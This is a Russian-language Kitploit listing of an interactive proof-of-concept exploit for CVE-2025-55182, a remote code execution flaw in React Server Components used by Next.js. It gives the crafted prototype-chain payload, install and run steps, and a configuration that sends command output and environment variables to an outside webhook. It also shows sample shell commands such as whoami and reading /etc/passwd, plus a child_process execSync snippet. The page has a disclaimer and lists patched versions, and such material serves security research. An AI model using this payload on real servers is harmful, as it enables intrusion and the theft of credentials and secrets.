Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
react2shell-interactive — CVE-2025-55182 Интерактивный PoC - React Server Components RCE - Образовательное исследование в области безопасности | Kitploit
Инструменты/GitHubGitHub/nathanj60/react2shell-interactive
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеОбучение и ОбразованиеИнструмент Удаленного ДоступаРазработка Полезной Нагрузки

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
nathanj60/react2shell-interactive

react2shell-interactive

CVE-2025-55182 Интерактивный PoC - React Server Components RCE - Образовательное исследование в области безопасности

Репозиторий
8 месяцев назадЕщё не проверено

React2Shell - CVE-2025-55182 Интерактивный PoC

Интерактивная оболочка для эксплуатации CVE-2025-55182, уязвимости удаленного выполнения кода в React Server Components.

Отказ от ответственности

Этот инструмент предоставляется ТОЛЬКО для ОБРАЗОВАТЕЛЬНЫХ и АВТОРИЗОВАННЫХ целей тестирования безопасности.

  • Используйте только в системах, которые вам принадлежат или на которые у вас есть явное письменное разрешение.
  • Несанкционированный доступ к компьютерным системам является незаконным.
  • Автор не несет ответственности за любое неправомерное использование этого инструмента.
  • Это proof-of-concept для исследований в области безопасности и повышения осведомленности.

Обзор уязвимости

CVE-2025-55182 затрагивает React Server Components (RSC) в:

  • Next.js < 15.1.7, < 14.2.29, < 13.5.9
  • Waku (различные версии)

Уязвимость позволяет удаленно выполнять код (RCE) через вредоносные полезные нагрузки, отправляемые в Server Actions.

Как это работает

  1. Протокол RSC использует синтаксис $@x для ссылок на внутренние объекты Chunk
  2. JavaScript автоматически распаковывает объекты с методами .then() (Promise-подобные)
  3. Создавая вредоносную полезную нагрузку с контролируемыми свойствами _response, _formData и _prefix
  4. Атакующий может добраться до конструктора Function через обход цепочки прототипов
  5. Это позволяет выполнять произвольный JavaScript на сервере
root@kitploit:~
$3:constructor:constructor → Function constructor → RCE

Установка

root@kitploit:~
git clone https://github.com/NathanJ60/react2shell-interactive.git
cd react2shell-interactive
npm install

Конфигурация

Отредактируйте exploit.js и обновите эти значения:

root@kitploit:~
const TARGET_URL = 'http://localhost:3000/'          // Уязвимый сервер Next.js
const WEBHOOK_URL = 'https://webhook.site/YOUR-ID'   // URL вашего webhook

Получить бесплатный webhook можно на: https://webhook.site

Использование

root@kitploit:~
node exploit.js

Команды

Пример сессии

root@kitploit:~
react2shell> !test
[+] Отправлено! Проверьте webhook

react2shell> whoami
[+] Отправлено: whoami

react2shell> ls -la
[+] Отправлено: ls -la

react2shell> !env
[+] Отправлено! Проверьте webhook для переменных окружения

Результаты отображаются в вашем webhook, а не в терминале.

Технические детали

Структура полезной нагрузки

root@kitploit:~
{
    '0': '$1',
    '1': {
        'status': 'resolved_model',
        'reason': 0,
        '_response': '$4',
        'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then': '$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix': '<JAVASCRIPT_CODE>//',
        '_formData': { 'get': '$3:constructor:constructor' },
        '_chunks': '$2:_response:_chunks'
    }
}

Порядок выполнения

  1. Полезная нагрузка отправляется как multipart form-data с заголовком next-action
  2. Парсер React Flight обрабатывает фрагменты
  3. $@3 создает ссылку на Chunk
  4. $3:constructor:constructor переходит к Function
  5. Содержимое _prefix передается в Function() и выполняется

Примечания для Next.js 15+

  • Используются модули ESM, поэтому require() недоступен
  • Используйте динамический import():
    root@kitploit:~
    import("child_process").then(cp => cp.execSync("whoami"))
    

Исправленные версии

Обновитесь до этих версий, чтобы устранить уязвимость:

  • Next.js >= 15.1.7
  • Next.js >= 14.2.29
  • Next.js >= 13.5.9

Ссылки

  • Официальный сайт React2Shell
  • Плагин Google Tsunami Scanner

Лицензия

Лицензия MIT - Только для образовательных целей.

Автор

PoC исследований безопасности - Используйте ответственно.

Скачать инструмент
КомандаОписание
!testПроверить работу эксплойта (отправляет подтверждение на webhook)
!envИзвлечь переменные окружения (process.env)
!js <code>Выполнить произвольный JavaScript
!helpПоказать справку
!exitВыйти
<command>Выполнить команду оболочки (например, whoami, ls, cat /etc/passwd)